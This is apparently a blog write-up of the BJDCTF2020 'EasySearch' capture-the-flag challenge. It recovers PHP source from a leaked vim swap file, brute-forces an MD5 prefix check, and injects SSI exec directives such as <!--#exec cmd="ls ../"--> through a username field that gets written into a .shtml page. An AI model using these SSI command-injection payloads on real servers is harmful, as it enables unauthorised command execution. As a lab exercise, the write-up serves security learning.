[BJDCTF2020]EasySearch(ssi注入)

看题目就知道藏的有东西

挨个试试

发现在index.php.swp

vim缓存泄露,在使用vim进行编辑时,会产生缓存文件,操作正常,则会删除缓存文件,
如果意外退出,缓存文件保留下来,这是时可以通过缓存文件来得到原文件,以index.php来说,
第一次退出后,缓存文件名为 index.php.swp,
第二次退出后,缓存文件名为index.php.swo,
第三次退出后文件名为index.php.swn

得到源代码.

image

点击查看代码
<?php
	// 开启输出缓冲
	ob_start();

	// 定义一个生成随机哈希值的函数
	function get_hash(){
		// 定义包含大写字母、小写字母、数字和特殊字符的字符串
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';

		// 随机从字符串中选择5个字符
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];

		// 将唯一ID和随机字符串拼接
		$content = uniqid().$random;

		// 返回该内容的SHA-1哈希值
		return sha1($content); 
	}

    // 设置HTTP响应头的内容类型和字符编码
    header("Content-Type: text/html;charset=utf-8");

	// 检查POST请求中是否包含username字段,并且该字段不为空
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        // 定义一个管理员密码的MD5哈希值的前六个字符
        $admin = '6d0bc1';

        // 检查POST请求中的密码字段的MD5哈希值的前六个字符是否与预定义的字符串匹配
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            // 弹出一个欢迎信息的JavaScript警告框
            echo "<script>alert('[+] Welcome to manage system')</script>";

            // 生成一个以哈希值命名的文件名,存放在public目录下
            $file_shtml = "public/".get_hash().".shtml";

            // 尝试打开文件,如果失败则输出错误信息
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");

            // 定义将要写入文件的HTML内容
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';

            // 将HTML内容写入文件
            fwrite($shtml,$text);

            // 关闭文件
            fclose($shtml);

            // 预留的代码位置,可能用于其他处理或输出
			// echo "[!] Header  error ...";
        } else {
            // 如果密码不匹配,弹出失败信息的JavaScript警告框
            echo "<script>alert('[!] Failed')</script>";
        }
    } else {
		// 预留的代码位置,用于处理未提供用户名的情况
		// ***
    }
	// 预留的代码位置,可能用于其他处理或结束操作
	// ***
?>

先过 ``` $admin = '6d0bc1'; if ( $admin == substr(md5($_POST['password']),0,6)) ```

要找到md5后前六位值为6d0bc1的数

跑脚本即可

import hashlib

for i in range(1000000000):
    md5 = hashlib.md5(str(i).encode('utf-8')).hexdigest()
    if md5[0:6] == '6d0bc1':
        print(str(i)+' | '+md5)

找到后进行登陆尝试

image

image

给了文件地址并且会把用户名写进去
既然能控制写进去什么内容我们肯定想办法让其命令执行

去查一下.shtml文件

二、Shtml与shtm

shtml命名的网页文件里,使用了ssi的一些指令,就像asp中的指令,你可以在SHTML文件中写入SSI指令,当客户端访问这些shtml文件时,服务器端会把这些SHTML文件进行读取和解释,把SHTML文件中包含的SSI指令解释出来。
而shtml与shtm后缀的网页文件没有区别,后缀名可以互换,区别在于和html与htm一样多与少“L”。

很明显我们可以利用ssi注入

注入格式:

<!--#exec cmd="命令" -->。

接下来就是找flag

<!--#exec+cmd="ls"+-->//没有
<!--#exec+cmd="ls /"+-->//也没有
<!--#exec+cmd="ls ../"+-->//有了
<!--#exec+cmd="cat../flag_990c66bf85a09c664f0b6741840499b2"+-->//得到flag

参考文章
htm、html、shtml网页区别

posted @ 2024-07-24 15:55  DGhh  阅读(3)  评论(0编辑  收藏  举报